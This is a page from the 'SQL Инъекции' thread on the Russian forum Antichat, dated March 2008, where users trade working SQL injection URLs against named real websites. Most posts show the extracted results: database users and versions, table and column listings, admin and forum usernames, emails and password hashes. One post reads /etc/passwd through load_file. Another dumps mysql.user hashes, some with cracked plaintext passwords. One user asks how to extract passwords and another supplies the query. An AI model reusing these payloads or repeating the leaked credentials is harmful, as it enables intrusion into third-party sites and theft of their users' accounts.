ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 500 из 1242 « Первая < 400450490 496 497 498 499 500 501 502 503 504 5105506001000 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #4991  
Старый 03.03.2008, 19:15
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
Провел на форуме:
839509

Репутация: 338
Отправить сообщение для CaNNabi$ с помощью ICQ
По умолчанию
Ziggy Marley
Вот ща че то сижу и думаю об этом... (Ну вы меня поняли))) и начал слухать музон Bob Marley и потом че то наткнулся на Ziggy Marley и на его сайт
Ну и сразу нашел инекцию)
Код:
http://ziggymarley.com/comments.php?id=194'%20union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9/*
tuffgong_w@209.68.2.15:tuffgong_main:4.1.20-log
Вот так вот
ббб ; )
 
Ответить с цитированием

  #4992  
Старый 03.03.2008, 19:50
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию
cheap-web-hosting-info.com
Цитата:
http://www.cheap-web-hosting-info.com/hosting_review.php?id=99999+union+select+1,VERSION (),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21/*
VERSION: 4.1.20-max-log Review и 4.1.20-max-log Plans
USER: cheapwe_cheapweb@71.18.216.99 Review и cheapwe_cheapweb@71.18.216.99 Plans
DATABASE: cheapwe_cheapweb Review и cheapwe_cheapweb Plans

yi-hosting.com
Цитата:
http://d390281.h42.yi-hosting.com/book_details.php?id=99999+union+select+1,VERSION() ,3,4,5/*
VERSION: 4.1.22-log
USER: michell_fred@cart.readyserver.net
DATABASE: michell_data

visitrandolphcounty.com
PHP код:
http://www.visitrandolphcounty.com/shopping.php?id=99999+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11,12,13,14,15,16/* 
VERSION: 4.1.20
USER: visitran@localhost
DATABASE: visitrandolph

plaza-shopping.com
Цитата:
http://www.plaza-shopping.com/shop.php?id=99999+union+select+1,2,VERSION(),4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18/*
VERSION: 4.0.27-max-log
USER: plazashopping@linhost193.prod.mesa1.secureserver.n et
DATABASE: plazashopping
 
Ответить с цитированием

  #4993  
Старый 03.03.2008, 20:00
Digital Cat
Участник форума
Регистрация: 04.02.2008
Сообщений: 116
Провел на форуме:
1297994

Репутация: 237
Отправить сообщение для Digital Cat с помощью ICQ
По умолчанию
Мальчики, хелп. Вот как выудить из бд пароли? Пока все заканчивалось ошибкой((
http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,user(),database(), 5,6,7,version(),9,10,11,12,13/*
Код:
babykn@localhost 
5.0.45-community
babykn_angel

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
arhiv
category
disttxt
links
news
news_img
others
pages
produkt
 
Ответить с цитированием

  #4994  
Старый 03.03.2008, 23:00
BizzyD
Участник форума
Регистрация: 02.06.2007
Сообщений: 210
Провел на форуме:
1172175

Репутация: 252
Отправить сообщение для BizzyD с помощью ICQ
По умолчанию
Код:
http://www.ipoding.com/index.php?catid=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
ipoding@localhost:ipoding_rouge:4.0.21-log
 
Ответить с цитированием

  #4995  
Старый 03.03.2008, 23:26
neon_fx
Познающий
Регистрация: 22.02.2008
Сообщений: 74
Провел на форуме:
394753

Репутация: 120
По умолчанию
Цитата:
Сообщение от BizzyD  
Код:
http://www.ipoding.com/index.php?catid=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
ipoding@localhost:ipoding_rouge:4.0.21-log
http://forum.antichat.ru/showthread.php?p=413203
 
Ответить с цитированием

  #4996  
Старый 03.03.2008, 23:33
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283

Репутация: 69
Отправить сообщение для samarin с помощью ICQ
По умолчанию
Мазда клуб
http://mazda-club.dn.ua/features/?id=-116+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(V ERSION(),0x71),0x71),6/*
version: 4.1.10a-standard
user: autoclubso_vas66@localhost
database: autoclubso_news
--------------------------------------
Что за форум там, я так и не понял
 
Ответить с цитированием

  #4997  
Старый 03.03.2008, 23:51
neon_fx
Познающий
Регистрация: 22.02.2008
Сообщений: 74
Провел на форуме:
394753

Репутация: 120
По умолчанию
Цитата:
Сообщение от Digital Cat  
Мальчики, хелп. Вот как выудить из бд пароли? Пока все заканчивалось ошибкой((
http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,user(),database(), 5,6,7,version(),9,10,11,12,13/*
Код:
babykn@localhost 
5.0.45-community
babykn_angel

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
arhiv
category
disttxt
links
news
news_img
others
pages
produkt
Ну mysql базы там нет, точнее если и есть то она закрыта
а в остальных таблицах ничего интересного
если ты смотриш через INFORMATION_SCHEMA.TABLES
то лучше поройся через таблицу COLUMNS
пример

http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,concat_ws(char(58) ,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME),4,5,6,7,8,9, 10,11,12,13+from+information_schema.COLUMNS+limit+ 10+offset+280/*
 
Ответить с цитированием

  #4998  
Старый 04.03.2008, 02:12
RaDDeaD
Познающий
Регистрация: 28.12.2006
Сообщений: 44
Провел на форуме:
119257

Репутация: 56
По умолчанию
TеcDоc
Цитата:
http://www.partsinfo.ru/tecdoc.php?pid=-1+union+select+3,4,5,6,7,concat(login,0x3a,passwor d,0x3a,email),9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23,24,25+from+users+limit+0,1/*
Кстате буду очень признателен, если найдёте программу TеcDоc - WEB SHOP
 
Ответить с цитированием

  #4999  
Старый 04.03.2008, 04:46
Saime
Новичок
Регистрация: 27.02.2008
Сообщений: 19
Провел на форуме:
34487

Репутация: 46
По умолчанию
nossafe.net

Цитата:
http://www.nossafe.net/Artigos/artigo.php?numid=-1%20union%20select%201,2,3,4,5,6,7,8--
Цитата:
http://www.nossafe.net/Artigos/artigo.php?numid=-1%20union%20select%201,concat(user(),0x3a,version( ),0x3a,database()),3,4,5,6,7,8--
nossafe1@200.234.200.124:5.0.41--log:nossafe1

pororo.net

Цитата:
http://www.pororo.net/en/story/summary.php?Numid=-1%20union%20select%201,2,3,4,5,6,7--
Цитата:
http://www.pororo.net/en/story/summary.php?Numid=-1%20union%20select%201,2,3,4,5,concat(user(),0x3a, version(),0x3a,database()),7--
pororo@localhost:4.0.16ororo

scottishclimbs.com

Цитата:
http://media.scottishclimbs.com/photopage.php?photoid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15--
Цитата:
http://media.scottishclimbs.com/photopage.php?photoid=-1%20union%20select%201,concat(user(),0x3a,version( ),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15--
scottishclimbs@localhost:5.0.44-log:scottishclimbs
Цитата:
http://media.scottishclimbs.com/photopage.php?photoid=-1%20union%20select%201,concat(table_schema,0x3a,ta ble_name,0x3a,column_name),3,4,5,6,7,8,9,10,11,12, 13,14,15%20FROM%20INFORMATION_SCHEMA.COLUMNS%20%20 WHERE%20column_name%20LIKE/**/0x257061737325/**/%20/**/limit/**/0,2--
scottishclimbs:AdminUsers:Password
Цитата:
http://media.scottishclimbs.com/photopage.php?photoid=-1%20union%20select%201,concat(id,0x3a,User,0x3a,Pa ssword),3,4,5,6,7,8,9,10,11,12,13,14,15+from+Admin Users--
1:Mark:48e8004a00203524
Цитата:
http://media.scottishclimbs.com/photopage.php?photoid=-1%20union%20select%201,concat(username,0x3a,user_e mail,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13 ,14,15+from+phpbb_users+where+user_id=2--
leewok:leeclimb@hotmail.com:566b2e95f1ca0a18fbab47 b4d2647da7
 
Ответить с цитированием

  #5000  
Старый 04.03.2008, 06:17
Saime
Новичок
Регистрация: 27.02.2008
Сообщений: 19
Провел на форуме:
34487

Репутация: 46
По умолчанию
tfleague.com

Цитата:
http://tf2.tfleague.com/viewclan.php?clanid=-1%20union%20select%201,concat(user(),0x3a,version( ),0x3a,database()),3,4,5,6,7--
tfleague_tfl@localhost:4.0.27-standard:tfleague_tf2

cggi.de

Цитата:
http://www.cggi.de/extern/forum.php?clanid=-1%20union%20select%201,2,3,4,5,6,7,8,9--
Цитата:
http://www.cggi.de/extern/forum.php?clanid=-1%20union%20select%201,concat(user(),0x3a,version( ),0x3a,database()),3,4,5,6,7,8,9--
root@localhost:4.0.21:cggi
Цитата:
http://www.cggi.de/extern/forum.php?clanid=-1%20union%20select%201,2,3,load_file(0x2F6574632F7 06173737764),5,6,7,8,9--
Цитата:
http://www.cggi.de/extern/forum.php?clanid=-1%20union%20select%201,2,3,concat(user,0x3a,passwo rd),5,6,7,8,9+from+mysql.user--
root:332d0c153f727e45:00761652
regentalgau:1e3af5ed433e592e
jurl:73bc31a80229bdac
juneutr:5ccfc99a7146c289
ff-gebelkofen:032c41e8435273a7:letmein
markusaumerde:024fd30c59f6ba50
gymmunity:46a481a3351571c8
rafardeon:35fc6ae571730216
schmidt:194974134b4b88c3:monk
tkammerl:17be5a8d493084f4:yxcvbnm
intstud:44b1954c62cbed60
sg1859:6cc0f6b914081bf1:Steyr
devit:18b3346f566cc3d7
ezmlm:37bc585a3c27174b
kaiser:7d1b74024b90d352
sharyosman:7976c7c43232c5a5
fpga:0a9963f132fd6525
typo3:0d9072351edc54dc
intwiso-home:6c33642d789ded64
igw:59ecf1cf6a1ee34a
 
Ответить с цитированием
Ответ
Страница 500 из 1242 « Первая < 400450490 496 497 498 499 500 501 502 503 504 5105506001000 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ